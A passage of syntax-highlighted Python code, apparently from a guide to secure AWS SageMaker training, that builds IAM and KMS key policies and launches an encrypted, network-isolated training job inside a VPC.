                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">s3:PutObject</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span><span class="n">r</span> <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">s3_resources</span> <span class="k">if</span> <span class="n">r</span><span class="p">.</span><span class="nf">endswith</span><span class="p">(</span><span class="sh">'</span><span class="s">/*</span><span class="sh">'</span><span class="p">)],</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">StringEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">s3:x-amz-server-side-encryption</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">aws:kms</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">kms:Decrypt</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">kms:DescribeKey</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">kms:Encrypt</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">kms:GenerateDataKey</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">kms:ReEncrypt*</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">StringEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">kms:ViaService</span><span class="sh">"</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="s">s3.</span><span class="si">{</span><span class="n">boto3</span><span class="p">.</span><span class="nc">Session</span><span class="p">().</span><span class="n">region_name</span><span class="si">}</span><span class="s">.amazonaws.com</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">logs:CreateLogGroup</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">logs:CreateLogStream</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">logs:PutLogEvents</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="s">arn:aws:logs:</span><span class="si">{</span><span class="n">boto3</span><span class="p">.</span><span class="nc">Session</span><span class="p">().</span><span class="n">region_name</span><span class="si">}</span><span class="s">:*:log-group:/aws/sagemaker/*</span><span class="sh">"</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">cloudwatch:PutMetricData</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">StringEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">cloudwatch:namespace</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">AWS/SageMaker</span><span class="sh">"</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
        
        <span class="n">policy_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s">-training-policy</span><span class="sh">'</span>
        
        <span class="n">self</span><span class="p">.</span><span class="n">iam</span><span class="p">.</span><span class="nf">put_role_policy</span><span class="p">(</span>
            <span class="n">RoleName</span><span class="o">=</span><span class="n">role_name</span><span class="p">,</span>
            <span class="n">PolicyName</span><span class="o">=</span><span class="n">policy_name</span><span class="p">,</span>
            <span class="n">PolicyDocument</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">permission_policy</span><span class="p">)</span>
        <span class="p">)</span>
        
        <span class="k">return</span> <span class="n">role_response</span><span class="p">[</span><span class="sh">'</span><span class="s">Role</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">Arn</span><span class="sh">'</span><span class="p">]</span>
    
    <span class="k">def</span> <span class="nf">_create_training_kms_key</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">environment_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create KMS key for training encryption</span><span class="sh">"""</span>
        
        <span class="n">key_policy</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Enable IAM User Permissions</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Principal</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">AWS</span><span class="sh">"</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="s">arn:aws:iam::</span><span class="si">{</span><span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sts</span><span class="sh">'</span><span class="p">).</span><span class="nf">get_caller_identity</span><span class="p">()[</span><span class="sh">'</span><span class="s">Account</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">:root</span><span class="sh">"</span>
                    <span class="p">},</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">kms:*</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">"</span><span class="s">Sid</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow SageMaker Service</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Allow</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">"</span><span class="s">Principal</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">"</span><span class="s">Service</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">sagemaker.amazonaws.com</span><span class="sh">"</span>
                    <span class="p">},</span>
                    <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                        <span class="sh">"</span><span class="s">kms:Decrypt</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">kms:DescribeKey</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">kms:Encrypt</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">kms:GenerateDataKey*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">kms:ReEncrypt*</span><span class="sh">"</span>
                    <span class="p">],</span>
                    <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
        
        <span class="n">key_response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">kms</span><span class="p">.</span><span class="nf">create_key</span><span class="p">(</span>
            <span class="n">Policy</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">key_policy</span><span class="p">),</span>
            <span class="n">Description</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">KMS key for </span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s"> ML training</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Usage</span><span class="o">=</span><span class="sh">'</span><span class="s">ENCRYPT_DECRYPT</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">KeySpec</span><span class="o">=</span><span class="sh">'</span><span class="s">SYMMETRIC_DEFAULT</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">Tags</span><span class="o">=</span><span class="p">[</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">TagKey</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Environment</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">TagValue</span><span class="sh">'</span><span class="p">:</span> <span class="n">environment_name</span><span class="p">},</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">TagKey</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Purpose</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">TagValue</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ML Training Encryption</span><span class="sh">'</span><span class="p">}</span>
            <span class="p">]</span>
        <span class="p">)</span>
        
        <span class="c1"># Create alias
</span>        <span class="n">self</span><span class="p">.</span><span class="n">kms</span><span class="p">.</span><span class="nf">create_alias</span><span class="p">(</span>
            <span class="n">AliasName</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">alias/</span><span class="si">{</span><span class="n">environment_name</span><span class="si">}</span><span class="s">-training-key</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">TargetKeyId</span><span class="o">=</span><span class="n">key_response</span><span class="p">[</span><span class="sh">'</span><span class="s">KeyMetadata</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">KeyId</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">)</span>
        
        <span class="k">return</span> <span class="n">key_response</span><span class="p">[</span><span class="sh">'</span><span class="s">KeyMetadata</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">KeyId</span><span class="sh">'</span><span class="p">]</span>
    
    <span class="k">def</span> <span class="nf">launch_secure_training_job</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                                   <span class="n">job_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span>
                                   <span class="n">environment_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Launch secure training job with comprehensive protection</span><span class="sh">"""</span>
        
        <span class="n">job_name</span> <span class="o">=</span> <span class="n">job_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">job_name</span><span class="sh">'</span><span class="p">,</span> 
                                  <span class="sa">f</span><span class="sh">"</span><span class="s">secure-training-</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y%m%d-%H%M%S</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="c1"># Prepare VPC configuration
</span>        <span class="n">vpc_config</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">SecurityGroupIds</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="n">environment_config</span><span class="p">[</span><span class="sh">'</span><span class="s">security_groups</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">training_security_group_id</span><span class="sh">'</span><span class="p">]],</span>
            <span class="sh">'</span><span class="s">Subnets</span><span class="sh">'</span><span class="p">:</span> <span class="n">environment_config</span><span class="p">[</span><span class="sh">'</span><span class="s">vpc_config</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">private_subnets</span><span class="sh">'</span><span class="p">]</span>
        <span class="p">}</span>
        
        <span class="c1"># Training job configuration with security controls
</span>        <span class="n">training_job_config</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">TrainingJobName</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_name</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">RoleArn</span><span class="sh">'</span><span class="p">:</span> <span class="n">environment_config</span><span class="p">[</span><span class="sh">'</span><span class="s">training_role_arn</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">AlgorithmSpecification</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">TrainingImage</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_config</span><span class="p">[</span><span class="sh">'</span><span class="s">training_image</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">TrainingInputMode</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">File</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">EnableSageMakerMetricsTimeSeries</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">InputDataConfig</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_prepare_secure_input_config</span><span class="p">(</span>
                <span class="n">job_config</span><span class="p">[</span><span class="sh">'</span><span class="s">input_data</span><span class="sh">'</span><span class="p">],</span>
                <span class="n">environment_config</span><span class="p">[</span><span class="sh">'</span><span class="s">kms_key_id</span><span class="sh">'</span><span class="p">]</span>
            <span class="p">),</span>
            <span class="sh">'</span><span class="s">OutputDataConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">S3OutputPath</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_config</span><span class="p">[</span><span class="sh">'</span><span class="s">output_location</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">KmsKeyId</span><span class="sh">'</span><span class="p">:</span> <span class="n">environment_config</span><span class="p">[</span><span class="sh">'</span><span class="s">kms_key_id</span><span class="sh">'</span><span class="p">]</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">ResourceConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">InstanceType</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">instance_type</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ml.m5.large</span><span class="sh">'</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">InstanceCount</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">instance_count</span><span class="sh">'</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">VolumeSizeInGB</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">volume_size</span><span class="sh">'</span><span class="p">,</span> <span class="mi">30</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">VolumeKmsKeyId</span><span class="sh">'</span><span class="p">:</span> <span class="n">environment_config</span><span class="p">[</span><span class="sh">'</span><span class="s">kms_key_id</span><span class="sh">'</span><span class="p">]</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">VpcConfig</span><span class="sh">'</span><span class="p">:</span> <span class="n">vpc_config</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">StoppingCondition</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">MaxRuntimeInSeconds</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">max_runtime</span><span class="sh">'</span><span class="p">,</span> <span class="mi">86400</span><span class="p">)</span>  <span class="c1"># 24 hours default
</span>            <span class="p">},</span>
            <span class="sh">'</span><span class="s">EnableNetworkIsolation</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">EnableInterContainerTrafficEncryption</span><span class="sh">'</span><span class="p">:</span> <span class="bp">True</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">EnableManagedSpotTraining</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>  <span class="c1"># Disable for security
</span>            <span class="sh">'</span><span class="s">HyperParameters</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">_sanitize_hyperparameters</span><span class="p">(</span>
                <span class="n">job_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">hyperparameters</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
            <span class="p">),</span>
            <span class="sh">'</span><span class="s">Tags</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Environment</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">environment_config</span><span class="p">[</span><span class="sh">'</span><span class="s">environment_name</span><span class="sh">'</span><span class="p">]},</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SecurityLevel</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">},</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DataClassification</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">data_classification</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">confidential</span><span class="sh">'</span><span class="p">)},</span>
                <span class="p">{</span><span class="sh">'</span><span class="s">Key</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Owner</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Value</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">ml-team</span><span class="sh">'</span><span class="p">)}</span>
            <span class="p">],</span>
            <span class="sh">'</span><span class="s">ExperimentConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">ExperimentName</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">job_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">experiment_name</span><span class="sh">'</span><span class="p">,</span> <span class="n">job_name</span><span class="p">)</span><span class="si">}</span><span class="s">-experiment</span><span class="sh">"</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">DebugHookConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">S3OutputPath</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">job_config</span><span class="p">[</span><span class="sh">'</span><span class="s">output_location</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">/debug</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">HookParameters</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">save_interval</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">100</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">include_regex</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">.*gradient.*|.*weight.*|.*bias.*</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">ProfilerConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">S3OutputPath</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">job_config</span><span class="p">[</span><span class="sh">'</span><span class="s">output_location</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">/profiler</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ProfilingIntervalInMilliseconds</span><span class="sh">'</span><span class="p">:</span> <span class="mi">500</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">ProfilingParameters</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">DataloaderProfilingConfig</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">{</span><span class="sh">"</span><span class="s">StartStep</span><span class="sh">"</span><span class="s">: 5, </span><span class="sh">"</span><span class="s">NumSteps</span><span class="sh">"</span><span class="s">: 3}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">DetailedProfilingConfig</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">{</span><span class="sh">"</span><span class="s">StartStep</span><span class="sh">"</span><span class="s">: 5, </span><span class="sh">"</span><span class="s">NumSteps</span><span class="sh">"</span><span class="s">: 3}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">PythonProfilingConfig</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">{</span><span class="sh">"</span><span class="s">StartStep</span><span class="sh">"</span><span class="s">: 5, </span><span class="sh">"</span><span class="s">NumSteps</span><span class="sh">"</span><span class="s">: 3}</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">TensorBoardOutputConfig</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">S3OutputPath</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">job_config</span><span class="p">[</span><span class="sh">'</span><span class="s">output_location</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">/tensorboard</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">LocalPath</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">/opt/ml/output/tensorboard</span><span class="sh">'</span>
            <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">sagemaker</span><span class="p">.</span><span class="nf">create_training_job</span><span class="p">(</span><span class="o">**</span><span class="n">training_job_config</span><span class="p">)</span>
            
            <span class="c1"># Set up training job monitoring
</span>            <span class="n">monitoring_config</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_setup_training_monitoring</span><span class="p">(</span><span class="n">job_name</span><span class="p">,</span> <span class="n">environment_config</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">training_job_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">job_name</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">training_job_arn</span><span class="sh">'</span><span class="p">:</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">TrainingJobArn</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">environment_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">environment_config</span><span class="p">[</span><span class="sh">'</span><span class="s">environment_name</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">security_features</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="sh">'</span><span class="s">network_isolation_enabled</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">encryption_in_transit</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">encryption_at_rest</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">vpc_isolation</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">minimal_iam_permissions</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">security_monitoring_enabled</span><span class="sh">'</span>
                <span class="p">],</span>
                <span class="sh">'</span><span class="s">monitoring_config</span><span class="sh">'</span><span class="p">:</span> <span class="n">monitoring_config</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">started</span><span class="sh">'</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error launching secure training job: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">raise</span>
    
    <span class="k">def</span> <span class="nf">_prepare_secure_input_config</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">input_data</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">],</span> <span class="n">kms_key_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Prepare secure input data configuration</span><span class="sh">"""</span>
        
        <span class="n">input_config</span> <span class="o">=</span> <span class="p">[]</span>
        
        <span class="k">for</span> <span class="n">data_source</span> <span class="ow">in</span> <span class="n">input_data</span><span class="p">:</span>
            <span class="n">config</span> <span class="o">=</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">ChannelName</span><span class="sh">'</span><span class="p">:</span> <span class="n">data_source</span><span class="p">[</span><span class="sh">'</span><span class="s">channel_name</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">DataSource</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">S3DataSource</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">S3DataType</span><span class="sh">'</span><span class="p">:</span> <span class="n">data_source</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">data_type</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">S3Prefix</span><span class="sh">'</span><span class="p">),</span>
                        <span class="sh">'</span><span class="s">S3Uri</span><span class="sh">'</span><span class="p">:</span> <span class="n">data_source</span><span class="p">[</span><span class="sh">'</span><span class="s">s3_uri</span><span class="sh">'</span><span class="p">],</span>
                        <span class="sh">'</span><span class="s">S3DataDistributionType</span><span class="sh">'</span><span class="p">:</span> <span class="n">data_source</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">distribution_type</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">FullyReplicated</span><span class="sh">'</span><span class="p">)</span>
                    <span class="p">}</span>
                <span class="p">},</span>
                <span class="sh">'</span><span class="s">ContentType</span><span class="sh">'</span><span class="p">:</span> <span class="n">data_source</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">content_type</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">application/json</span><span class="sh">'</span><span class="p">),</span>
